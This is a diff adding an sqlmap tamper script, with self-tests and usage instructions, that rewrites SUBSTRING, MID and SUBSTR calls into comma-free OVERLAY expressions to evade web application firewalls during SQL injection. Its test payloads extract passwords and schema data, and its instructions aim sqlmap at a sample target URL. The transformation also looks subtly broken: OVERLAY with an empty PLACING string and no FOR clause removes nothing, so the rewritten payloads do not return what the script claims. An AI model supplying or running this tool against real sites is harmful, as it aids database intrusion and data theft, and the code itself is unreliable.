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+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.NORMAL
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces SUBSTRING with OVERLAY function (without commas)
+    
+    Tested against:
+        * PostgreSQL
+        * MySQL (limited support)
+    
+    Notes:
+        * Replaces SUBSTRING(str, pos, len) with nested OVERLAY functions
+        * Works without comma characters in the query
+        * Useful for bypassing WAF filters that block commas
+    
+    >>> tamper('SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)')
+    'OVERLAY(OVERLAY((SELECT password FROM users LIMIT 1) PLACING \\'\\' FROM 1 FOR 2) PLACING \\'\\' FROM 2)'
+    
+    >>> tamper('SUBSTRING(username FROM 1 FOR 1)')
+    'OVERLAY(username PLACING \\'\\' FROM 2)'
+    
+    >>> tamper('SUBSTRING(password,5,1)')
+    'OVERLAY(OVERLAY(password PLACING \\'\\' FROM 1 FOR 4) PLACING \\'\\' FROM 2)'
+    """
+    
+    retVal = payload
+    
+    if payload:
+        # Pattern 1: SUBSTRING(string FROM position FOR length)
+        # PostgreSQL style
+        pattern1 = r'SUBSTRING\s*\(\s*(.+?)\s+FROM\s+(\d+)\s+FOR\s+(\d+)\s*\)'
+        
+        def replace_postgres_style(match):
+            string = match.group(1)
+            position = int(match.group(2))
+            length = int(match.group(3))
+            
+            # Only handle single character extraction (length = 1)
+            if length != 1:
+                return match.group(0)
+            
+            if position == 1:
+                # Special case: first character
+                return f"OVERLAY({string} PLACING '' FROM 2)"
+            else:
+                # General case: position > 1
+                return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)"
+        
+        retVal = re.sub(pattern1, replace_postgres_style, retVal, flags=re.IGNORECASE)
+        
+        # Pattern 2: SUBSTRING(string, position, length)
+        # MySQL/Standard style with commas
+        pattern2 = r'SUBSTRING\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
+        
+        def replace_mysql_style(match):
+            string = match.group(1)
+            position = int(match.group(2))
+            length = int(match.group(3))
+            
+            # Only handle single character extraction (length = 1)
+            if length != 1:
+                return match.group(0)
+            
+            if position == 1:
+                return f"OVERLAY({string} PLACING '' FROM 2)"
+            else:
+                return f"OVERLAY(OVERLAY({string} PLACING '' FROM 1 FOR {position - 1}) PLACING '' FROM 2)"
+        
+        retVal = re.sub(pattern2, replace_mysql_style, retVal, flags=re.IGNORECASE)
+        
+        # Pattern 3: MID(string, position, length) - MySQL alternative
+        pattern3 = r'MID\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
+        retVal = re.sub(pattern3, replace_mysql_style, retVal, flags=re.IGNORECASE)
+        
+        # Pattern 4: SUBSTR(string, position, length) - Another alternative
+        pattern4 = r'SUBSTR\s*\(\s*(.+?)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)'
+        retVal = re.sub(pattern4, replace_mysql_style, retVal, flags=re.IGNORECASE)
+    
+    return retVal
+
+
+# Test cases for validation
+if __name__ == "__main__":
+    test_cases = [
+        # PostgreSQL style
+        "SUBSTRING((SELECT password FROM users LIMIT 1) FROM 3 FOR 1)",
+        "SUBSTRING(username FROM 1 FOR 1)",
+        "SUBSTRING(database() FROM 5 FOR 1)",
+        
+        # MySQL style
+        "SUBSTRING(password,5,1)",
+        "SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)",
+        "MID(username,3,1)",
+        "SUBSTR(password,2,1)",
+        
+        # Complex queries
+        "AND ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),1,1))>65",
+        "UNION SELECT SUBSTRING(table_name FROM 1 FOR 1) FROM information_schema.tables",
+        
+        # Edge cases
+        "SUBSTRING(col FROM 1 FOR 1)",
+        "SUBSTRING(col,1,1)",
+    ]
+    
+    print("=== SQLMAP TAMPER SCRIPT TEST ===\n")
+    
+    for i, test in enumerate(test_cases, 1):
+        result = tamper(test)
+        print(f"Test {i}:")
+        print(f"  Original: {test}")
+        print(f"  Tampered: {result}")
+        print()
+    
+    print("\n=== USAGE INSTRUCTIONS ===")
+    print("""
+1. Save this script as 'overlay.py' in SQLMap's tamper directory:
+   /path/to/sqlmap/tamper/overlay.py
+
+2. Run SQLMap with the tamper script:
+   python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay
+
+3. Combine with other tampers:
+   python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay,space2comment
+
+4. Use with specific DBMS:
+   python sqlmap.py -u "http://target.com/page?id=1" --tamper=overlay --dbms=postgresql
+
+5. Test the tamper:
+   python overlay.py
+
+Example transformation:
+  Before: SUBSTRING(password,3,1)
+  After:  OVERLAY(OVERLAY(password PLACING '' FROM 1 FOR 2) PLACING '' FROM 2)
+
+Benefits:
+  ✓ No comma characters in the query
+  ✓ Bypasses WAF filters blocking SUBSTRING
+  ✓ Works with PostgreSQL OVERLAY function
+  ✓ Supports nested subqueries
+    """)